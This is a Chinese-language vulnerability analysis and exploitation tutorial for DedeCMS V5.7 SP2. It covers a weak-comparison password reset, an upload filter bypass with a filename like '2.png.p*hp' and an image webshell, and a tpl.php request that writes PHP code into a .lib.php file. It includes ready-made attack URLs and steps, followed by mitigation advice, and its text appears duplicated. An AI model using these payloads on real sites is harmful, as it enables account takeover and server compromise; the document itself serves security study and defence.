DedeCMS V5.7 SP2漏洞分析
字数 1632 2025-08-15 21:33:10

DedeCMS V5.7 SP2 漏洞分析与利用教学文档

1. 任意用户密码重置漏洞

1.1 漏洞原理

漏洞存在于 /member/resetpassword.php 文件中,由于对 safeanswer 参数的类型比较不够严格,导致可以利用 PHP 弱类型比较进行攻击。

1.2 漏洞分析

关键代码逻辑

  1. $dopost == safequestion 时,系统通过用户 ID 查询用户的安全问题和答案
  2. 使用 == 进行比较:$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer
  3. 默认情况下,未设置安全问题的用户,系统会设置问题为 0,答案为空

PHP 弱类型利用

  • empty() 函数特性:0 被认为是空值
  • 当输入密保问题为 0.00.0e1 时:
    • if(empty(0.0)) 为 FALSE,绕过空值检查
    • '0.0'=='0' 为 TRUE,使比较成立

1.3 漏洞利用步骤

  1. 发送请求获取重置密码链接:
    http://[目标]/member/resetpassword.php?dopost=safequestion&safequestion=0.0&id=[用户ID]
    
  2. 系统会返回包含重置密码验证码的 URL:
    http://www.123.com/member/resetpassword.php?dopost=getpassword&id=$mid&key=$randval
    
  3. 直接访问该 URL 即可重置密码

1.4 注意事项

如果遇到一直跳转"对不起..."的问题,需要修改 /member/inc/inc_pwd_function.php 文件:

  • 删除 amp;,只保留 &id&key

2. 任意文件上传漏洞

2.1 漏洞原理

文件上传检测存在逻辑缺陷:

  1. /include/uploadsafe.ini.php 中使用黑名单机制检测
  2. /include/dialog/select_images_post.php 中进行过滤和白名单检测
  3. 两种检测方式均未正确取文件后缀名进行判断

2.2 漏洞分析

检测流程

  1. 黑名单检测:除非是管理员后台 dedeadmin,否则不能上传黑名单文件
  2. 文件名处理:
    • 将文件名中正则匹配到的异常符号替换为空白
    • 检测文件名中是否存在白名单中文件格式
  3. 上传成功后重命名文件,取最后一个 . 后面的字符为后缀

绕过方法

使用 1.jpg.p*hp 格式:

  1. p*hp 绕过 uploadsafe.inc.php 的黑名单检测
  2. *select_images_post.php 中被正则匹配替换为空,变成 1.jpg.php
  3. 匹配白名单 $cfg_imgtype 中的 jpg 绕过检测
  4. 最终重命名为 时间+随机字符.php

2.3 漏洞利用步骤

  1. 注册账号并登录会员中心
  2. 在内容中心找到文章发表功能
  3. 找到上传点,上传图片马并抓包
  4. 修改 filename2.png.p*hp 后放包
  5. 获取上传后的文件路径并访问

3. 代码执行漏洞

3.1 漏洞原理

利用 DedeCMS 的全局变量注册特性,contentfilename 变量可控,可以将任意内容写入以 .lib.php 结尾的文件中。

3.2 漏洞分析

关键点

  1. 由于正则限制,文件必须以 .lib.php 结尾
  2. 存在 csrf_check() 函数,请求中必须有 token

3.3 漏洞利用步骤

  1. 获取 token:

    http://[目标]/dede/tpl.php?action=upload
    

    从页面源代码中获取 token

  2. 构造请求写入文件:

    http://[目标]/dede/tpl.php?filename=1.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[获取的token值]
    
  3. 访问写入的文件:

    http://[目标]/include/taglib/1.lib.php
    

4. 防护建议

  1. 密码重置漏洞防护

    • 使用严格比较运算符 === 替代 ==
    • 对用户输入进行严格过滤和验证
  2. 文件上传漏洞防护

    • 使用白名单机制检查文件扩展名
    • 在服务器端验证文件内容而不仅是扩展名
    • 禁用危险文件类型的执行权限
  3. 代码执行漏洞防护

    • 限制文件写入权限
    • 对写入内容进行严格过滤
    • 更新到最新版本或应用安全补丁
  4. 通用防护措施

    • 定期更新系统和组件
    • 最小化服务器权限
    • 实施严格的输入验证和输出编码
    • 使用 Web 应用防火墙(WAF)
DedeCMS V5.7 SP2 漏洞分析与利用教学文档 1. 任意用户密码重置漏洞 1.1 漏洞原理 漏洞存在于 /member/resetpassword.php 文件中,由于对 safeanswer 参数的类型比较不够严格,导致可以利用 PHP 弱类型比较进行攻击。 1.2 漏洞分析 关键代码逻辑 当 $dopost == safequestion 时,系统通过用户 ID 查询用户的安全问题和答案 使用 == 进行比较: $row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer 默认情况下,未设置安全问题的用户,系统会设置问题为 0 ,答案为空 PHP 弱类型利用 empty() 函数特性: 0 被认为是空值 当输入密保问题为 0.0 、 0. 或 0e1 时: if(empty(0.0)) 为 FALSE,绕过空值检查 '0.0'=='0' 为 TRUE,使比较成立 1.3 漏洞利用步骤 发送请求获取重置密码链接: 系统会返回包含重置密码验证码的 URL: 直接访问该 URL 即可重置密码 1.4 注意事项 如果遇到一直跳转"对不起..."的问题,需要修改 /member/inc/inc_pwd_function.php 文件: 删除 amp; ,只保留 &id 和 &key 2. 任意文件上传漏洞 2.1 漏洞原理 文件上传检测存在逻辑缺陷: 在 /include/uploadsafe.ini.php 中使用黑名单机制检测 在 /include/dialog/select_images_post.php 中进行过滤和白名单检测 两种检测方式均未正确取文件后缀名进行判断 2.2 漏洞分析 检测流程 黑名单检测:除非是管理员后台 dedeadmin ,否则不能上传黑名单文件 文件名处理: 将文件名中正则匹配到的异常符号替换为空白 检测文件名中是否存在白名单中文件格式 上传成功后重命名文件,取最后一个 . 后面的字符为后缀 绕过方法 使用 1.jpg.p*hp 格式: p*hp 绕过 uploadsafe.inc.php 的黑名单检测 * 在 select_images_post.php 中被正则匹配替换为空,变成 1.jpg.php 匹配白名单 $cfg_imgtype 中的 jpg 绕过检测 最终重命名为 时间+随机字符.php 2.3 漏洞利用步骤 注册账号并登录会员中心 在内容中心找到文章发表功能 找到上传点,上传图片马并抓包 修改 filename 为 2.png.p*hp 后放包 获取上传后的文件路径并访问 3. 代码执行漏洞 3.1 漏洞原理 利用 DedeCMS 的全局变量注册特性, content 和 filename 变量可控,可以将任意内容写入以 .lib.php 结尾的文件中。 3.2 漏洞分析 关键点 由于正则限制,文件必须以 .lib.php 结尾 存在 csrf_check() 函数,请求中必须有 token 3.3 漏洞利用步骤 获取 token: 从页面源代码中获取 token 值 构造请求写入文件: 访问写入的文件: 4. 防护建议 密码重置漏洞防护 : 使用严格比较运算符 === 替代 == 对用户输入进行严格过滤和验证 文件上传漏洞防护 : 使用白名单机制检查文件扩展名 在服务器端验证文件内容而不仅是扩展名 禁用危险文件类型的执行权限 代码执行漏洞防护 : 限制文件写入权限 对写入内容进行严格过滤 更新到最新版本或应用安全补丁 通用防护措施 : 定期更新系统和组件 最小化服务器权限 实施严格的输入验证和输出编码 使用 Web 应用防火墙(WAF)